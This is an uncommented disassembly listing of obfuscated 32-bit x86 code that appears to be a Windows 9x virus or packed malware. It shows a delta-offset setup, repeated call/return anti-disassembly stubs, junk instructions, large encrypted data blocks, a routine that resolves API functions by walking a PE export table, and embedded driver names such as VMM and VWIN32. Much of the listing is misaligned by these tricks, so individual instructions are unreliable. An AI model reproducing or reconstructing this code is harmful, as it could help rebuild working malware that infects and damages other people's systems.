		dd 6099FD00h, 18E01078h, 9CD20DADh, 0CE196560h,	0E8480A62h
		dd 1608975h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0A9C35242h, 0EBABA1A5h,	840FB982h, 0Ah,	0F95B560h
		dd 89h,	85C66100h, 5D124D9h, 12E94Fh, 0A2700000h, 45E97BB4h
		dd 8E3C2D0Bh, 3E9A7157h, 0FDCC8244h, 774EF168h,	0AE9CCh
		dd 0FA4B0000h, 0DEA2421Bh, 3C554B9Eh, 0DB243481h, 6A32BF3Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0B58BC352h, 0FCC7F311h, 24FDB5FFh, 0B58905D1h
		dd 5D11B0Dh, 5CA1858Dh,	958905D4h, 5D11D09h, 0B589D0FFh
		dd 5D11BC9h, 0AEE9h, 5C8BF500h,	0E8550C24h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D474D0h
		mov	eax, [ebp+5D10699h]
		mov	[ebp+5D124FDh],	eax
		mov	eax, [ebp+5D10829h]
		mov	[ebp+5D10F65h],	eax
		mov	eax, [ebp+5D113F9h]
		mov	[ebp+5D11439h],	eax
		mov	byte ptr [ebp+5D124D9h], 0
		mov	dword ptr [ebp+5D45DFDh], 0
		lea	eax, [ebp+5D47573h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5A134F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A134F	proc near		; CODE XREF: ud2_____:005A1347p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5A134F	endp

; ---------------------------------------------------------------------------
		jl	short loc_5A13D1
		sti
		imul	ebp, [esi+esi],	-1Fh
		pusha
		mov	bx, 6A64h
		mov	esi, [ebp+5D12A8Dh]
		popa
		xor	[ebp+5D117A1h],	ecx
		push	0
		push	ebx
		call	sub_5A1383
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A1383	proc near		; CODE XREF: ud2_____:005A137Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5A1383	endp

; ---------------------------------------------------------------------------
		db 32h
; ---------------------------------------------------------------------------
		movsb
		xor	[ebp+5D11E05h],	edi
		mov	esp, 12FF74h
		sub	[ebp+5D127DDh],	ebx
		pop	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5A13B8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A13B8	proc near		; CODE XREF: ud2_____:005A13B0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5A13B8	endp

; ---------------------------------------------------------------------------
		sub	edi, [ebx]
		jmp	loc_5A13E2
; ---------------------------------------------------------------------------
		db 1
; ---------------------------------------------------------------------------
		pop	eax


loc_5A13D1:				; CODE XREF: ud2_____:005A135Fj
		scasd
		sub	edi, ebx
		pop	edx
		fcomp	qword ptr [ebx]
		sbb	al, 28h
		cmovz	ecx, ds:0CF0C5783h
		into


loc_5A13E2:				; CODE XREF: ud2_____:005A13CAj
		mov	[ebp+5D13041h],	ebx
		add	esp, 4
		push	0
		push	eax
		call	sub_5A13F6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A13F6	proc near		; CODE XREF: ud2_____:005A13EEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5A13F6	endp

; ---------------------------------------------------------------------------
		dw 76EEh
		dd 0EE8610Bh, 25000000h, 36A8FB0Fh, 2743F575h, 4A60BB5Eh
		dd 199589E6h, 5805D107h, 31E326BEh, 89C08133h, 0B3000070h
		dd 1BFFBFB0h, 66600000h, 8D2FCA81h, 0FFB70F60h,	585FD2B9h
		dd 8B616104h, 0E981F808h, 6548CA3Ch, 0FC19531h,	0C18105D1h
		dd 7F2CADC0h, 0DE9h, 0DF051D00h, 0F5BE6C8Bh, 4B37DCBEh
		dd 0C181AB9Ch, 6DB7E198h, 99C82CBAh, 8108896Eh,	0B65480F6h
		dd 3E88347h, 48F6B70Fh,	1099958Bh, 0EF8105D1h, 1, 0FFAD850Fh
		dd 9D8BFFFFh, 5D1204Dh,	0DE8h, 6C59C800h, 0E7031C64h, 223DDD4h
		dd 8B590EF3h, 9C181F3h,	81000067h, 2EF343E2h, 0B832h, 66520000h
		dd 0D24AF281h, 834FF5Ah, 5BF78B66h, 5F526060h, 890Fh, 0E8610000h
		dd 6, 34DAD632h, 0C7813600h, 706DDA4Ch,	0C3816158h, 25598960h
		dd 20CD9D31h, 0EB8105D1h, 59BB90C9h, 7E956h, 11610000h
		dd 0CBE9E987h, 0EB815E6Fh, 5E1C6B9Fh, 14AD8D89h, 95305D1h
		dd 0D1103D85h, 1048F05h, 66F98B66h, 6F71CE81h, 0F03E883h
		dd 58Eh, 0F2816600h, 8048EC2Bh,	0F881F4E2h, 0FFFF99C8h
		dd 14850Fh, 95890000h, 5D1120Dh, 21E9h,	0D734FF00h, 0AB2C715h
		dd 66E96338h, 59FFFFFFh, 2D32FE5Ah, 0E6BB443Dh,	90628C4Ah
		dd 630227Dh, 34EB1598h,	4D534649h, 20205247h, 20444B56h
		dd 20202020h, 204D4D56h, 20202020h, 4E495756h, 20203233h
		dd 4C445856h, 20205244h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A1D91
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5A15C0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A15C0	proc near		; CODE XREF: ud2_____:005A15B8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5A15C0	endp

; ---------------------------------------------------------------------------
		cmp	ah, [esi-6759FF4h]
		jnp	loc_5A15E2
		js	$+6


loc_5A15E2:				; CODE XREF: ud2_____:005A15D6j
					; ud2_____:005A1604j
		popa
		pusha
		push	0
		push	ebp
		call	sub_5A15EF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A15EF	proc near		; CODE XREF: ud2_____:005A15E7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5A15EF	endp

; ---------------------------------------------------------------------------
		xchg	ebx, [esi+1Bh]
		cmpsb
		retn
; ---------------------------------------------------------------------------
		jg	short loc_5A15E2
		cmpsb
		mov	es, di
		test	[edi+esi*2-2Ch], edi
		add	eax, 0
		push	0
		push	edi
		call	sub_5A161D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A161D	proc near		; CODE XREF: ud2_____:005A1615p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5A161D	endp

; ---------------------------------------------------------------------------
		db 6Ah,	8Eh, 15h
		dd 666312D8h, 10E93Ch, 8BB00000h, 31433F3Fh, 276309A6h
		dd 2EAB9EBEh, 0CE98C21h, 83000000h, 6021BA51h, 673366B0h
		dd 8B19E057h, 56006AC6h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0FDEB2C2Eh, 831778EDh, 816660E1h
		dd 6613ADC0h, 462BD281h, 0D8B70F61h, 0F18B6660h, 10E8C161h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 2FC35141h
		dd 504066AFh, 0BF0F6023h, 0C1BF0FDBh, 0B3536061h, 3DB459E6h
		dd 0C8C16661h, 57006A08h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0C9F0B87Fh, 11E9DF0Fh
		dd 4A000000h, 0CFB416CAh, 0A8A756E6h, 0A9FAD22h, 929B0CE3h
		dd 77808589h, 6A05D4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0E018BDC3h, 60A36B90h, 8E8h, 3859AC00h
		dd 0EE968648h, 66615F2Ch, 6A08CBC1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0BA88C353h
		dd 0F983E6A2h, 40FB83F8h, 55850Fh, 0EE90000h, 8C000000h
		dd 0E5879DEBh, 0D4E4C2C7h, 6BB16FB8h, 54BD8D72h, 6A05D477h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 8C03C350h, 0A4CA7045h, 75E7CAC5h,	0B800Fh
		dd 6E90000h, 55000000h,	0B7FE594Ah, 131E9FAh, 83F80000h
		dd 850F0DFBh, 5Bh, 8850Fh, 8F0F0000h, 2, 0BD8D6160h, 5D4775Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0FCC35141h
		dd 10E97C8Dh, 0B8000000h, 0AC6FBDFCh, 6FF33985h, 1BBB4702h
		dd 0E94F8C2Dh, 0DBh, 0AE9h, 3421C600h, 0A225DA21h, 83C943D7h
		dd 850F01FBh, 80h, 14E860h, 9A00000h, 57994A95h, 45F78052h
		dd 93B99289h, 0C690C5CAh, 0D68B8B36h, 0BD8D6158h, 5D47764h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0F7C35343h
		dd 5B9B83B1h, 685F8AAAh, 1A890Fh, 60600000h, 11E961h, 99220000h
		dd 3233E3FFh, 6F57630h,	6BCDA2CBh, 619A6D4Eh, 56E9h, 0D8D0F00h
		dd 0E9000000h, 8, 772B0B9Bh, 65C2CEB9h,	0F2AFB83h, 1585h
		dd 1890F00h, 0F8000000h, 6CBD8DF9h, 0F805D477h,	26E9h
		dd 0FB83F500h, 0F850F27h, 0F9000003h, 7774BD8Dh, 666005D4h
		dd 0F52CB8Bh, 615BC2BFh, 6E9h, 2A3E0800h, 8966C6C0h, 0D47784BDh
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 60B9AF28h, 61F6B70Fh, 6AC88C66h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0E1BEC353h, 7654ECF7h, 0E9036D61h, 9, 3C56CD6Fh, 0A3043669h
		dd 600324C9h, 13E9h, 40438000h,	82BEC357h, 8592FD8Eh, 0FEEF888Fh
		dd 23FC568Dh, 0CE9h, 2E449A00h,	0A8E34664h, 4B52586Eh
		dd 0C00A61A9h, 1EB850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0B8270DC3h, 666059C8h
		dd 0B54F181h, 0F61ECB6h, 782h, 1840F00h, 0F9000000h, 7E24B58Dh
		dd 6A05D4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 3E5B3FC3h, 89B2B49Bh, 0F19DBC1h, 181h, 858BF900h
		dd 5D47EF6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	54C35545h, 0F5CF2579h, 14E950h,	0CFBA0000h, 0F14EA70Ch
		dd 4FCCB41Dh, 0D084CBD0h, 29B928D6h, 14893471h,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 7FE40B16h, 244C010Fh, 51006AFEh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 4880DD4Bh, 4C67427Eh
		dd 5E966h, 0E23E0000h, 5ACB45A9h, 0C8B96660h, 0F9DA8127h
		dd 610EADBCh, 6A24C283h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 1048C353h, 0A0068810h
		dd 728966D6h, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0BF24C526h, 0CEC12A2Ch, 57006A10h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 44E773DFh, 89661EA5h, 6A0272h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0A13782C3h, 1820FC5h
		dd 0F5000000h, 8C0F04CDh, 7, 1870Fh, 0E9F90000h, 0A3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 34C35040h
		dd 8E0F2E7Ch, 10h, 0BE9h, 20C96B00h, 471F7761h,	76C0FA0Eh
		dd 0F6858BF9h, 0E905D47Eh, 6, 0DAFBD1B0h, 0B58D4F27h, 5D47E24h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C9C35646h
		dd 0B8C8C1C4h, 10616303h, 858DF8F3h, 5D436FFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F3C35747h, 0F9FA6BF9h
		dd 0B860D0FFh, 64682336h, 8961DFB6h, 0D4777C85h, 0E961F805h
		dd 13h,	0BC1D6995h, 505F8249h, 0DB59E1C8h, 0F3C53FB1h
		dd 8B9CE7BBh, 0D4777C85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 261E71B3h
		dd 0F80CF97Ah, 0FE9h, 47DBD700h, 0F522E07Ah, 6FD6C10Ah
		dd 53E3D4Fh, 0EE9C3h, 99160000h, 0B3996E4Bh, 9CE40A56h
		dd 787401B2h, 0B8666060h, 0F608E27h, 8Ah, 0DB816600h, 616117C9h
		dd 7EF6BD83h, 0F0005D4h, 7A85h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0FC4A36F7h
		dd 25DF5F57h, 68C0F60h,	81000000h, 963A53CFh, 13E823h
		dd 4CC50000h, 843171FCh, 1F1774D6h, 0A2BFFA27h,	482383B9h
		dd 9E98Bh, 35AF0000h, 8C9911BBh, 5874129Bh, 0F685C761h
		dd 3F05D47Eh, 60000101h, 0AE951h, 0C46F0000h, 8E8FDB9Fh
		dd 2FEBF6E0h, 0C781665Fh, 0E9612705h, 30h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 4C35141h, 0C7C0B122h
		dd 0FC7B9DB7h, 28E0F60h, 56000000h, 61D2B65Fh, 20CDh, 0C00B0000h
		dd 708D3774h, 84BD8B0Ch, 0B905D477h, 8,	492275A6h, 488BFA75h
		dd 809D8B30h, 3B05D477h, 157F3458h, 0D26BD38Bh,	8BCA0304h
		dd 7C858901h, 0EB05D477h, 0EB008B04h, 858B61C5h, 5D4777Ch
		dd 0AE9CFh, 5D150000h, 259A8EA9h, 0DE33AF62h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C35545h
; ---------------------------------------------------------------------------
		cld


loc_5A1D91:				; CODE XREF: ud2_____:005A15B0j
		mov	eax, eax
		jmp	loc_5A1E1B
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		mov	ebx, [esp+1Ch]
		cmp	word ptr [ebx],	5A4Dh
		jnz	loc_5A1E14
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		cmp	word ptr [ebx],	4550h
		jnz	loc_5A1E14
		mov	ebx, [ebx+78h]
		add	ebx, [esp+1Ch]
		mov	esi, [ebx+24h]
		add	esi, [esp+1Ch]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [esp+20h]
		add	esi, [esp+20h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5A1DDE:				; CODE XREF: ud2_____:005A1DF4j
					; ud2_____:005A1DFCj
		inc	ecx
		mov	ebx, [esp+1Ch]
		mov	edx, [edi]
		add	edx, [esp+20h]
		add	edi, 4


loc_5A1DEC:				; CODE XREF: ud2_____:005A1DF8j
		mov	al, [edx]
		test	al, al
		jz	short loc_5A1DFA
		cmp	al, [ebx]
		jnz	short loc_5A1DDE
		inc	ebx
		inc	edx
		jmp	short loc_5A1DEC
; ---------------------------------------------------------------------------


loc_5A1DFA:				; CODE XREF: ud2_____:005A1DF0j
		cmp	al, [ebx]
		jnz	short loc_5A1DDE
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [esp+1Ch]


loc_5A1E0C:				; CODE XREF: ud2_____:005A1E16j
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_5A1E14:				; CODE XREF: ud2_____:005A1DA6j
					; ud2_____:005A1DB7j
		xor	eax, eax
		jmp	loc_5A1E0C
; ---------------------------------------------------------------------------


loc_5A1E1B:				; CODE XREF: ud2_____:005A1D93j
		mov	ecx, edx
		jmp	loc_5A1F6A
; ---------------------------------------------------------------------------
		dw 40h
		dd offset dword_43FE58+1A8h
		dd offset dword_450050+2FFB0h
		dd offset dword_4B4E58+0B1A8h
		dd offset dword_4F0044+0FFBCh
		dd offset dword_53F858+7A8h
		dd offset loc_580000
		dd offset loc_5C0000
		dd 0A00000h, 0A40000h, 0A80000h, 0AC0000h, 0B00000h, 0B40000h
		dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h
		dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 38h dup(0)
		dd 1E820000h, 0C203005Ah
		db 0AEh, 0
; ---------------------------------------------------------------------------


loc_5A1F6A:				; CODE XREF: ud2_____:005A1E1Dj
		lea	eax, [ebp+5D47FFAh]
		mov	[ebp+5D10BBDh],	eax
		mov	[ebp+5D4813Ah],	eax
		mov	si, cx
		mov	byte ptr [ebp+5D124D9h], 54h
		add	[ebp+5D11851h],	esi
		mov	di, dx
		push	9A5EB427h
		mov	dl, 9Ah
		add	dword ptr [esp], 5403B402h
		jg	loc_5A1FAE
		jo	loc_5A1FAE
		adc	cx, 2524h


loc_5A1FAE:				; CODE XREF: ud2_____:005A1F9Dj
					; ud2_____:005A1FA3j
		push	dword ptr [ebp+5D124FDh]
		add	[ebp+5D11941h],	ecx
		jmp	loc_5A1FC6
; ---------------------------------------------------------------------------
		db 0A0h
		dd 8070DB12h
		db 65h,	79h
; ---------------------------------------------------------------------------


loc_5A1FC6:				; CODE XREF: ud2_____:005A1FBAj
		lea	eax, [ebp+5D45CA1h]
		mov	si, ax
		call	eax
		mov	ecx, [ebp+5D12651h]
		mov	[ebp+5D4813Eh],	eax
		mov	ecx, 1514DDDAh
		jmp	loc_5A2037
; ---------------------------------------------------------------------------
		jmp	loc_5A1FF7
; ---------------------------------------------------------------------------
		push	edi
		stc
		pop	es
		adc	ecx, [edx-49h]
		cmpsb
		db	67h
		push	eax
		and	dh, ch


loc_5A1FF7:				; CODE XREF: ud2_____:005A1FE7j
		push	esi
		mov	esi, [ebp+5D4813Ah]
		mov	[esi], eax
		add	dword ptr [ebp+5D4813Ah], 4
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pusha
		lea	esi, [ebp+5D47FFAh]
		jmp	short loc_5A2021
; ---------------------------------------------------------------------------


loc_5A2012:				; CODE XREF: ud2_____:005A2024j
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+5D4813Eh]
		pop	esi
		add	esi, 4


loc_5A2021:				; CODE XREF: ud2_____:005A2010j
		cmp	dword ptr [esi], 0
		jnz	short loc_5A2012
		popa
		retn
; ---------------------------------------------------------------------------
		and	dl, 29h
		mov	[ebp+5D130EDh],	ebx
		or	[ebp+5D12D41h],	ebx


loc_5A2037:				; CODE XREF: ud2_____:005A1FE2j
		lea	eax, [ebp+5D481E1h]
		mov	[ebp+5D112BDh],	eax
		call	near ptr loc_5A2051+2
		pop	ebp
		or	al, 0CDh
		movsd
		or	eax, 0D206CA5Ah


loc_5A2051:				; CODE XREF: ud2_____:005A2043p
		xchg	edx, [eax-75h]
		xchg	eax, ebp
		or	[esi], esp
		rol	dword ptr ds:0FE95Fh, 1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0B9h
		dd 5D8E22FBh, 3A7A2154h, 0B61A4E4Eh, 0C7816486h, 74A1h
		dd 58C0Fh, 79BB0000h, 0B9140AB1h, 1CF0h, 0F11BD29h, 37FF05D1h
		dd 1BB5BD31h, 575805D1h, 5EDF8B66h, 0C6C3F081h,	0B58B3241h
		dd 5D10EE9h, 77D5E881h,	958B37D1h, 5D10009h, 6DF5F081h
		dd 8B0F2C42h, 6, 9519D8Bh, 78905D1h, 0CE9h, 0A4A5EA00h
		dd 3BA9904Eh, 982D6FE4h, 3EF8362h, 6850Fh, 0B5090000h
		dd 5D10DA5h, 7D9D894Fh,	8305D108h, 850F01E9h, 1Eh, 0EB816660h
		dd 0C781F739h, 5D2398AEh, 27E961h, 0EEDC0000h, 0B9EE6D5Ah
		dd 14B63847h, 0BE667E69h, 6FE9F30Ch, 0FDFFFFFFh, 4F2D44AFh
		dd 0BCC2AF0Bh, 73FA7384h, 2A84D510h, 39EB8Eh, 0CC00AB00h
		dd 0E400AB02h, 0AB02h, 87000000h, 0BE4712AAh, 95760BA6h
		dd 9221AAEh, 524F11AAh,	0F34E1BEDh, 8B7631C3h, 0A922338Fh
		dd 965230B7h, 8B4A2BADh, 0FC461EA6h, 86E2F4A3h,	2953C240h
		dd 0EA227A12h, 0D29FFCCAh, 0E727AED1h, 0A07266B7h, 409ABF48h
		dd 75227FC7h, 0AF367646h, 0F2BFF2C6h, 6027AC62h, 4C7A2410h
		dd 3630627Eh, 0E4567FC6h, 409A2C93h, 75227FC7h,	0AF367646h
		dd 83BFF2C6h, 6027AC5Dh, 0C07A2410h, 0E7227A49h, 0C369C6C3h
		dd 0F9487883h, 0FC219790h, 25027FC3h, 63AB2400h, 0DBA37BE7h
		dd 0CF347BE7h, 0B4617FC3h, 0CC178400h, 0F0FBCA48h, 3CA97A12h
		dd 96717FA9h, 3F227FC0h, 0C4E124E3h, 0CB06234Ah, 0E3063B42h
		dd 0F3227FD8h, 9CE12C80h, 44790E05h, 7182961Fh,	3F227947h
		dd 0B2B7F4C3h, 927AED8h, 3606A646h, 0F34829C6h,	0F9219796h
		dd 0A1027FC3h, 12AB2200h, 7BA37BE7h, 9F3E7BE7h,	9A677FC3h
		dd 0A3E01800h, 0E32201D5h, 4E2D905Bh, 522F1708h, 7AA32673h
		dd 0C7283AE7h, 22B1F81h, 0CAF3748Eh, 0C6DBCA48h, 0C437A12h
		dd 28068276h, 0AF2215C6h, 7E227C2Bh, 0FC795FC3h, 0BB7EF698h
		dd 0EB66FEC7h, 0E72262C7h, 30713CC3h, 43C65738h, 588A1685h
		dd 0F7735660h, 0EE037E46h, 1AAF21C6h, 0CAF62362h, 0F777FA9h
		dd 0F3227FC0h, 0A4E122E3h, 0F806134Ah, 7A063B42h, 3F227FDFh
		dd 86E12A86h, 0ADBFC3F2h, 5512B174h, 7E29AF3Ch,	0FCF35986h
		dd 0FC487BA9h, 7E219795h, 61027FC3h, 0EBAB2100h, 8BA37BE7h
		dd 0E73A7BE7h, 0A5647FC3h, 4066B400h, 7D448F0Eh, 16BD6D29h
		dd 38395EF7h, 8ECA2D93h, 2E227FC3h, 14CB5ED6h, 70E65CDCh
		dd 8340213Fh, 0E87D593Eh, 41D6C1A5h, 0B413709Dh, 1E7A2514h
		dd 0FE165BF7h, 0E74878D8h, 0F3219793h, 0A1027FC3h, 0B8AB2700h
		dd 3AA37BE7h, 3F397BE7h, 0CF627FC3h, 69A4A700h,	5CF98443h
		dd 0C69FF48Ch, 9127AEDDh, 0E9C7D8Bh, 0C1442D93h, 0E2DF96Bh
		dd 953D6F7Dh, 4E7A258Ch, 0E7865BC7h, 0F3487281h, 0F9219795h
		dd 0A2027FC3h, 0AAB2100h, 7BA37BE7h, 9F357BE7h,	99647FC3h
		dd 727A4800h, 0AA919D0h, 0F9226C2Ah, 9E1859C3h,	2135CBBDh
		dd 62EAB35Ch, 8EC8B7Dh,	61B70A15h, 6AA97FA9h, 0F6F34EF2h
		dd 7D2DAF3Ch, 0FC227FC0h, 0F7D2F4A5h, 0EBA17846h, 0CD2215C6h
		dd 0CF227C2Bh, 24785FC3h, 0D776F699h, 0DD66FEC7h, 0FC2263C7h
		dd 0BD703DC3h, 0F3D13718h, 62C18E3Fh, 30957096h, 2B278748h
		dd 7A227FC1h, 2DA17446h, 0E4E2FCC6h, 0FD2DFA4Ah, 0FF117A17h
		dd 9F20937Ah, 0C0888CC3h, 0E7227C47h, 99D70C3h,	98B7F494h
		dd 0A227AED1h, 5AFBFA05h, 0B6617A12h, 4E3DCA5Eh, 0CF2697C6h
		dd 8C7C7FC3h, 0A342E3A4h, 0F6702F91h, 0F37A25F2h, 7EAB70F2h
		dd 65227FC3h, 91A9709Bh, 26227FC3h, 0E7227FCAh,	0C0F4B4Eh
		dd 47C84914h, 0AC721EA8h, 7E226D2Bh, 0E2630DC3h, 2BA32FCDh
		dd 0E9C46053h, 5DA69AF1h, 1A0B1425h, 0F9227FC9h, 0F903996h
		dd 0C5029CFDh, 617B2BD1h, 9B063B48h, 0A5A7C1A5h, 469B7F48h
		dd 7A202EEBh, 0A1265B87h, 14747FA9h, 7E227FC0h,	61E121E3h
		dd 9B060B4Ah, 0CB063B42h, 0E7227FD4h, 0ABE12985h, 10B565AAh
		dd 0FC227FD2h, 0F8F0B37h, 0A444F733h, 0A463D7DFh, 0B5D837DFh
		dd 13FDFEE6h, 0C79E4E5h, 28068276h, 9C31C1C6h, 78CA7D25h
		dd 0DD227FC3h, 0A6766AD1h, 0C9A7704Fh, 6C227FC3h, 2234AA76h
		dd 7CAF26C6h, 0F9F62362h, 7E22772Ah, 9C0D36C3h,	383470C9h
		dd 26F2802Bh, 0E7227FC4h, 0F46DA688h, 7058C7DAh, 2D33FE46h
		dd 79CB2DC6h, 78227FC3h, 660C6CE8h, 427BF15Bh, 362B8E46h
		dd 0A02215C6h, 0F9227C2Bh, 3F795FC3h, 5A7EF698h, 1B66FEC7h
		dd 9F2267C7h, 0C713CC3h, 0FF9AA822h, 52B7F616h,	7027AEE2h
		dd 2D394646h, 292215C6h, 3F227C2Bh, 5C7D5FC3h, 0EB5EF69Ch
		dd 0C366FEC7h, 0F32267C7h, 3A7538C3h, 0C1CB9C7Eh, 0B09D706Bh
		dd 3F2CFDCCh, 14427FC3h, 1E047256h, 7BC3FEC6h, 926471BEh
		dd 0DDFBFA05h, 96717A12h, 7DCA29C3h, 1F227FC3h,	167CBC9Dh
		dd 4E265BB7h, 0FF265B87h, 0B5227FC3h, 0A02BBC95h, 7753E970h
		dd 0AF2A1A56h, 0A7E417C6h, 0CF42AB5Eh, 0C07B2E91h, 0E72A96F2h
		dd 0CD817FC3h, 0C20B8CD0h, 0A478C2A7h, 5A16FEA2h, 170EAFDDh
		dd 9F24F7CCh, 5AA97FC3h, 0E2F359BAh, 0D7DFCA3Ch, 0F9487A12h
		dd 0FC219795h, 20027FC3h, 4BAB2100h, 0DBA37BE7h, 0CF347BE7h
		dd 0B1647FC3h, 78B30400h, 0A583FA4Eh, 0AF427A17h, 69A3CA4Ah
		dd 87787A12h, 0D609BFFAh, 0A5F280A2h, 0E4CA2EC3h, 0D3227FC3h
		dd 707BBC9Ah, 7D265B8Fh, 65265B87h, 7E227FC3h, 853ABC92h
		dd 1039C293h, 2DA9AE02h, 0D77BFA4Ah, 0F9487A12h, 0FC219794h
		dd 21027FC3h, 43AB2000h, 0DBA37BE7h, 0CF3B7BE7h, 0B0657FC3h
		dd 0FA832C00h, 3F9E1147h, 2D06A646h, 0E3AB2CC6h, 3AF3556Eh
		dd 0B68B9DABh, 0A9702F09h, 0D62DAC48h, 0AB782693h, 28067B42h
		dd 0CD2F90D9h, 0AF3DF246h, 0C29780C6h, 1E27AEE7h, 56113201h
		dd 46A7F287h, 0FC27AB9Fh, 29DDAE7Ch, 7DD5FEA5h,	83A7F664h
		dd 8927AEC1h, 46A7B912h, 8827AEE7h, 0F707FA9h, 0F3227FC0h
		dd 0A3E125E3h, 0F8062B4Ah, 7A063B42h, 3F227FDEh, 8BE12D81h
		dd 9E55ACDFh, 8B1D3DA5h, 0B45217D1h, 0CDA3E016h, 0F7B8A6E7h
		dd 2E2215EBh, 3F227C2Bh, 5C7A5FC3h, 0EB66F69Bh,	0C366FEC7h
		dd 0F32267C7h, 3A723FC3h, 53143D64h, 83978044h,	5527AEE7h
		dd 9CCA2EC3h, 0EF227FC3h, 6E7BBC9Ah, 72265B8Fh,	0EE265B87h
		dd 0BD227FC3h, 0BF03BC92h, 0D1A345C0h, 0E096B51Ah, 42D9C8CCh
		dd 337EDE46h, 96B7F6C6h, 627AEE0h, 0FC2A9713h, 74F57FC3h
		dd 2D836568h, 26441AD1h, 4678849Fh, 3607B646h, 0A02215C6h
		dd 0F9227C2Bh, 3F795FC3h, 5A7EF698h, 1B66FEC7h,	9F2267C7h
		dd 0C713CC3h, 317D67C1h, 2AA7B92Eh, 0BE27AEE7h,	14717FA9h
		dd 7E227FC0h, 64E124E3h, 9B06234Ah, 0CB063B42h,	0E7227FD6h
		dd 0DBE12C80h, 0F93696EDh, 1EAD7FC3h, 0A568253h, 0EB4340EEh
